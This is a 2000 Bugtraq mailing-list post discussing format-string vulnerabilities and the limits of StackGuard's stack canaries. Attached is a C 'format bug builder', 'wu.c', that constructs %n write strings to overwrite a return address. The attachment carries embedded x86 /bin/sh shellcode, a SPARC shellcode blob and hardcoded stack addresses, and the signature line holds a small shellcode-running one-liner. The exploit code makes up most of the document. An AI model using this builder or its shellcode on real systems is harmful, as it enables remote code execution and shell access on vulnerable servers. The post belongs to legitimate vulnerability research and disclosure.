[15906] in bugtraq
Re: StackGuard with ... Re: [Paper] Format bugs.
daemon@ATHENA.MIT.EDU (Pascal Bouchareine)
Sat Jul 22 17:43:37 2000
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="xHFwDpU9dbj6ez1V"
Message-Id: <20000722035059.A356@kalou.in.grolier.fr>
Date: Sat, 22 Jul 2000 03:51:00 +0200
Reply-To: Pascal Bouchareine <pb@GROLIER.FR>
From: Pascal Bouchareine <pb@GROLIER.FR>
X-To: Alan DeKok <aland@STRIKER.OTTAWA.ON.CA>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <200007211621.MAA32726@cpu1751.adsl.bellglobal.com>; from
aland@STRIKER.OTTAWA.ON.CA on Fri, Jul 21,
2000 at 12:21:20PM -0400
--xHFwDpU9dbj6ez1V
Content-Type: text/plain; charset=us-ascii
Hi,
You achieved a nice analysis on this topic.
This leads me to facts i'd like to underline,
some old thoughs are broken with this "new" topic.
You may have clearly stated these below, but my brain is quite
damaged by a few hours of sleep and a charged business week.
Please forgive any repetitions/mistakes, and as usual my bad english.. :)
On Fri, Jul 21, 2000 at 12:21:20PM -0400, Alan DeKok wrote:
> [ Crispin Cowan (author of StackGuard) responds: ]
>
> At the time StackGuard was built, and at present, blind overflows
> are the primary means of attack. This % printf hack has the potential
> to change that. [1]
>
>
>
> As the "Format bugs" paper pointed out, it is possible to READ the
> stack, as well as to write (nearly) arbitrary data to the stack of the
> target machine. [..]
Of course when processed data is dumped to the user. This breaks things
in two parts : a very dangerous problem, as you stated, and - erh, a very
dangerous problem too, where attacker blindly writes to memory.
Difference with a classical buffer overflow is the way user can write
memory, of course. Format bugs allow targetted writes, where one doesn't
need to overwrite a contiguous area to address distinct memory locations.
I played a little around stack data writings last night. Your only
limitation is buffer space. printf() and a malloc'ed area for fgets()
is for example a very dangerous context. (see badly coded attachement)
This allows you to write *exactly* (including '\0') what you want
at any address in (+w) memory.
I mean any address: overwriting your own input buffer to change
the next %n converter argument seems possible, doesn't it ?
> There is no obvious method of using constant canaries to protect the
> stack against an introspective attacker. They do, however, protect
> very well against blind buffer overflows.
>
> Stack Guard has another method to protect against attacks which
> do not overflow the stack, but in which:
>
> ... the attacker can cause the p pointer to point anywhere in
> memory, but especially at a return address record in an
> activation record. When the program then takes input and stores
> it where p points, the input data is stored where the attacker
> said to store it. [2]
(i have not taken time to fully examine stackguard,
so i may be wrong below)
%n attacks (not using buffer overflow, but rewriting a given address
in memory) use a simplest derived scheme. Here, 'p' is a quadruplet
of addresses in the input buffer, followed by some %n.
Thus, format attack involving buffer overflows are still a derivated
way to have code executed remotely.
[ snipped canarie guess ]
> We should note that this sort of attack is NOT the classic and
> well-known buffer overflow attack. As Crispin says above, this attack
> appears to be new.
Right, and you quite demonstrate that protecting the stack against
format attacks with canaries isn't a solution.
> In summary, an attacker who is introspective of the stack can bypass
> all predictable methods of protecting the stack with canaries.
An attacker with full read access on my process page owns me, i bet.
What a pity for key-based authentications (servers.. and clients too :
think about a wu-ftpd + radius daemon that would give-away radius secrets)
This breaks most security-through-obscurity based architecture.
> Programmers should carefully audit their code for the sort of % printf
> style vulnerabilities. An automated scanner PScan which *may* help
> (but which isn't perfect) is available.[3]
>
> There is no substitute, however, for a careful line-by-line audit of
> code.
Of course, programming errors should be avoided where possible :)
> [1] Crispin Cowan <crispin@wirex.com>, private corresponce
> [2] http://immunix.org/StackGuard/emsi_vuln.html
> [3] http://www.striker.ottawa.on.ca/~aland/pscan/
> [4] http://immunix.org/stackguard.html
--
Kalou.
((void(*)())(char[]){0x31, 0xdb, 0x31, 0xc0, 0xb0, 0x01, 0xcd, 0x80})();
--xHFwDpU9dbj6ez1V
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="wu.c"
/* sample example of a "format bug" exploitation:
** format bug "builder"
**
** finished a birdsongs-morning (some of you know what i mean)
**
** kalou <pb@grolier.fr>
**
**/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#define DEBUG(x, arg...) fprintf(stderr, x, ##arg)
void patternise(char *dst, char *pattern, int dlen)
{
char *p;
char *s = pattern;
int len;
len = strlen(pattern);
for (p = dst; p < dst + dlen; p++) {
*p = *(s + (p - dst) % len);
}
}
/*
** gout is an optional server output ("OK- prefix or so.")
** pad is an optional prefix to buffer.
** ebp is the memory location to be overwritten.
** badly named variable, it means ebp + 4. sorry.. :)
** eat is the number of words to eat in memory.
** egg is an optionnal eggshell
** pattern is the "space eating" pattern for %n
** sze is the max allowed size for buffer.
**
** format eater is a %012x, so that any hex value dumps 12 bytes.
*/
char *build_format_string(int gout, /* already output by srv */
int pad,
int ebp,
int eat,
void *egg,
char *pattern,
int ret,
int sze
)
{
struct addy_builder {
unsigned int size;
char *buf;
} a[4];
#define ASIZE(x) a[x].size
#define ABUF(x) a[x].buf
unsigned int size;
int i, sofar;
int eggin = -1;
char *fs;
/* split ret */
ASIZE(0) = ret & 0xff;
ASIZE(1) = ret >> 8 & 0xff;
ASIZE(2) = ret >> 16 & 0xff;
ASIZE(3) = ret >> 24 & 0xff;
/* fix impossible writings (where printf output would need to be < 0) */
while ((ASIZE(0) - 4 * sizeof(ebp) - eat * 12 - pad - gout)
> ASIZE(0)) {
DEBUG("Enlarging ASIZE(0)\n");
ASIZE(0) += 0x100;
DEBUG("asize(0) : %x\n", ASIZE(0));
}
sofar = ASIZE(0);
/* remove already-printed-stuff */
ASIZE(0) -= 4 * sizeof(ebp) +
eat * 12 +
pad +
gout;
for (i = 1; i < 4; i++) {
while ((ASIZE(i) - sofar) > ASIZE(i)) {
DEBUG("Enlarging ASIZE(%d)\n", i);
ASIZE(i) += 0x100;
DEBUG("Asize(%d): %x\n", i, ASIZE(i));
}
ASIZE(i) -= sofar;
sofar += ASIZE(i);
}
DEBUG("[a.sizes:] %04x, %04x, %04x, %04x.\n",
ASIZE(0), ASIZE(1), ASIZE(2), ASIZE(3));
/* calculate string len */
size = pad +
4 * sizeof(ret) +
eat * 8 +
ASIZE(0) + 2 +
ASIZE(1) + 2 +
ASIZE(2) + 2 +
ASIZE(3) + 2 + (egg ? strlen(egg) : 0);
DEBUG("[size] easy size is %d\n", size);
if (size > sze) {
DEBUG("This won't work. try %%s with fixed strings..\n");
return NULL;
}
/* check, if egg: include it to pattern if it's too big.
* die if i can't..
*/
if ((egg != NULL) && (strlen(egg) + size > sze)) {
DEBUG("[size] egg is too big.\n");
for (i = 0; i < 4; i++) {
if ((strlen(egg) < ASIZE(i)) && (eggin < 0) ||
((eggin > 0) && (ASIZE(eggin) < ASIZE(i))) ) {
eggin = i;
}
}
if (eggin < 0) {
DEBUG("[size] unable to include egg anywhere.\n");
return NULL;
} else {
DEBUG("[size] egg is included to %#02x\n", ASIZE(eggin));
}
} /* if egg */
/* we may fill our buffers now.
* pattern is a string for more ease in debugging and
* character-set issues.
*/
fs = malloc(size);
if (fs == NULL) {
DEBUG("malloc(%d) failed\n", size);
return NULL;
}
/* 1) paddings */
patternise(fs, pattern, pad);
/* 2) 4 addresses */
for (i = 0; i < 4; i++) {
*(fs + pad + i * sizeof(ebp)) = (ebp + i) & 0xff;
*(fs + pad + i * sizeof(ebp) + 1) = (ebp + i) >> 8 & 0xff;
*(fs + pad + i * sizeof(ebp) + 2) = (ebp + i) >> 16 & 0xff;
*(fs + pad + i * sizeof(ebp) + 3) = (ebp + i) >> 24 & 0xff;
}
if (strlen(fs) < 16) {
DEBUG("[ebp] ebp contains 0x00!\n");
return NULL;
}
/* 3) Format eater, 12 bytes out each time */
for (i = 0; i < eat; i++) {
sprintf(fs + pad + 4 * sizeof(ebp) + i * 8,
"%%000012x"); /* align to 8 bytes */
}
/* 4) ASIZES, really fun.. */
sofar = 0;
for (i = 0; i < 4; i++) {
ABUF(i) = malloc(ASIZE(i));
if (ABUF(i) == NULL) {
DEBUG("unable to alloc %d bytes for ABUF(%d)\n", ASIZE(i), i);
return NULL;
}
patternise(ABUF(i), pattern, ASIZE(i));
if (eggin == i) {
memcpy(ABUF(i) + ASIZE(i) - strlen(egg),
egg, strlen(egg)); /* this is shorter than ASIZE(i) */
}
memcpy(fs + pad + 4 *sizeof(ebp) + 8 * eat + sofar,
ABUF(i), ASIZE(i));
sofar += ASIZE(i);
sprintf(fs + pad + 4 * sizeof(ebp) + 8 * eat + sofar,
"%%n");
sofar += 2;
}
strcpy(fs + pad + 4 * sizeof(ebp) + 8 * eat + sofar, egg);
DEBUG("[buffer] total asize: %i bytes.\n"
" total size: %i bytes.\n", sofar, strlen(fs));
for (i = 0; i < 4; i++) {
free(ABUF(i)); /* save the whales, ... */
}
return fs;
}
void main()
{
char sc[]=
{
0x40,0x0,0x0,0x2e,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xd5,0x92,0x10,0x20,0x0,
0x82,0x10,0x20,0x5,0x91,0xd0,0x20,0x0,0xa0,0x10,0x0,0x8,0x90,0x3,0xe0,0xcc,
0x92,0x10,0x21,0xff,0x82,0x10,0x20,0x50,0x91,0xd0,0x20,0x0,0x90,0x3,0xe0,
0xcc,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,
0x20,0x78,0x91,0xd0,0x20,0x0,0x90,0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,
0x20,0x0,0x90,0x3,0xe0,0xd7,0x82,0x10,0x20,0xc,0x91,0xd0,0x20,0x0,0x90,0x3,
0xe0,0xd5,0x82,0x10,0x20,0x3d,0x91,0xd0,0x20,0x0,0xa0,0x10,0x20,0x0,0x90,
0x10,0x0,0x10,0x82,0x10,0x20,0x6,0x91,0xd0,0x20,0x0,0xa0,0x4,0x20,0x1,0x80,
0xa4,0x20,0x1e,0x4,0xbf,0xff,0xfb,0x1,0x0,0x0,0x0,0x90,0x3,0xe0,0xc0,0xa0,
0x3,0xe0,0xc5,0xe0,0x23,0xbf,0xf0,0xa0,0x3,0xe0,0xc9,0xe0,0x23,0xbf,0xf4,
0xa0,0x3,0xe1,0x5,0xe0,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x92,0x3,0xbf,0xf0,
0x94,0x3,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x0,0x81,0xc3,0xe0,0x8,
0x1,0x0,0x0,0x0,0x2f,0x61,0x64,0x6d,0x2f,0x6b,0x73,0x68,0x0,0x2d,0x63,0x0,
0x41,0x44,0x4d,0x52,0x4f,0x43,0x4b,0x53,0x0,0x2e,0x0,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,
0x2e,0x2f,0x2e,0x2e,0x2f,0x2e,0x2e,0x2f,0x0,0x68,0x6f,0x72,0x69,0x7a,0x6f,
0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0
};
char egg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
printf("%s\n", build_format_string(0,0,0xbffffc2c,6,egg,"\x90",
0xbfcff960,790));
}
--xHFwDpU9dbj6ez1V--